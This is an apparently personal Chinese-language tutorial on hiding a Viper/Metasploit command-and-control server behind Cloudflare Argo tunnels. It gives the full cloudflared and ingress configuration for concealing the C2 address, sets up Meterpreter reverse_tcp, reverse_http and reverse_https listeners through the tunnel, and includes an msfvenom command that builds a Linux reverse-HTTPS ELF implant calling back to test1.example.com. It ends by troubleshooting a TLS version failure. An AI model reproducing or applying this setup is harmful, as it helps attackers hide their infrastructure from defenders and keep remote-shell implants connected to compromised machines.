目录

Viper

基础配置

安装手册-首次安装

由于Viper的后台端口是在60000,绝大部分CDN不支持加速这个端口,因此容易导致C2服务器地址泄露

但是我们可以利用Cloudflared对Viper进行隐藏,参考使用Cloudflare Argo隐藏VIPER后台

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
docker ps 
docker exec -it xxx /bin/bash
#下面是在容器内的操作
cd /root/viper/Docker/
nano viper.conf

ssl on修改为ssl off

nginx -s reload
exit

下载并安装cloudflared后

1
2
3
4
5
cloudflared tunnel login
cloudflared tunnel create tunnelname
cloudflared tunnel route dns tunnelname tunnelname

cloudflared tunnel --name tunnelname --url http://127.0.0.1:port

以viper为例则是

1
2
3
4
5
cloudflared tunnel login
cloudflared tunnel create viper
cloudflared tunnel route dns viper viper

cloudflared tunnel --name viper --url http://127.0.0.1:60000

此时cloudflare会自动在example.com中添加viperCNAME条目

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207192051847.png

访问viper.example.com即可打开viper的后台,测试无误后即可进行持久化处理

1
2
3
4
5
6
7
8
9
nano /etc/cloudflared/config.yml

tunnel: tunnelid
credentials-file: /root/.cloudflared/tunnelid.json

ingress:
  - hostname: viper.example.com
    service: http://127.0.0.1:60000
  - service: http_status:404
1
2
3
cloudflared service install
systemctl restart cloudflared
systemctl enable cloudflared

meterpreter/reverse_tcp上线

跟普通的msf上线过程一致

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207192125009.png

http上线

同样参考msf http使用cloudflare argo上线,但是这篇文章中的方法无法复现,下面给出我的方法

假设msf监听6000端口,修改/etc/cloudflared/config.yml

1
2
3
4
5
6
7
8
9
tunnel: tunnelid
credentials-file: /root/.cloudflared/tunnelid.json

ingress:
  - hostname: viper.example.com
    service: http://127.0.0.1:60000
  - hostname: test.example.com
    service: http://127.0.0.1:6000
  - service: http_status:404

然后systemctl restart cloudflared重启cloudflared,在cloudflare dashboard中找到当前cloudflared使用的域名并添加testCNAME条目,CNAME的指向与viper.example.com一致

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207192122105.png

首先创建指向test.example.com:80虚拟监听

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207192129496.png

然后创建指向127.0.0.1:6000真实监听,注意LURI参数与虚拟监听一致

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207192133583.png

生成载荷是选择虚拟监听进行生成,最终成果如下

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207192142473.png

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207192145320.png

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207192236161.png

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207192237814.png

不知道是我本地网络的问题还是viper的问题,用http上线本地虚拟机中的windows后,一段时间不操作会出现掉线现象…

https上线

假设msf监听6001端口,修改/etc/cloudflared/config.yml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
tunnel: tunnelid
credentials-file: /root/.cloudflared/tunnelid.json

ingress:
  - hostname: viper.example.com
    service: http://127.0.0.1:60000
  - hostname: test.example.com
    service: http://127.0.0.1:6000
  - hostname: test1.example.com
    service: https://127.0.0.1:6001
    originRequest:
        connectTimeout: 10s
        noTLSVerify: true
  - service: http_status:404

注意service处要填写https而不是http

然后systemctl restart cloudflared重启cloudflared,在cloudflare dashboard中找到当前cloudflared使用的域名并添加test1CNAME条目,CNAME的指向与viper.example.com一致

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207201629336.png

  1. windows/x64/meterpreter/reverse_https

首先创建指向test1.example.com:443虚拟监听,SSL证书为空

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207201639779.png

然后创建指向127.0.0.1:6001真实监听,注意LURI参数与虚拟监听一致,SSL证书为空

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207201657689.png

生成载荷是选择虚拟监听进行生成,最终成果如下

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207201700678.png

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207201701934.png

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207201737596.png

  1. linux/x64/meterpreter_reverse_https

使用linux/x64/meterpreter_reverse_https时会出现问题,由于cloudflared tunnel存在tls版本限制,最低版本为TLSv1.2且无法修改,但是使用载荷linux/x64/meterpreter_reverse_https直接生成的ELF在链接时采用的是TLSv1,因此无法链接

监听创建方法同上,但是ELF在链接时出现以下问题

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207201803165.png

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207201804042.png

直接curl

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207201808585.png

限制curl的tls版本

https://cdn.jsdelivr.net/gh/AMDyesIntelno/PicGoImg@master//202207201815444.png

解决方法:暂无

我使用msfvenom -p linux/x64/meterpreter_reverse_https lhost=test1.example.com lport=443 -f elf -o https.elf手动生成一个elf再次进行测试

发现其同样使用TLSv1进行链接,推测问题出现在msf身上,可能的关联issue如下

reverse_https does not work: Handshake failed #14960

SSL Handler Not Supporting Older SSL/TLS Versions #15435

Need Http / Https Meterpreter TLS/Cert Update #10903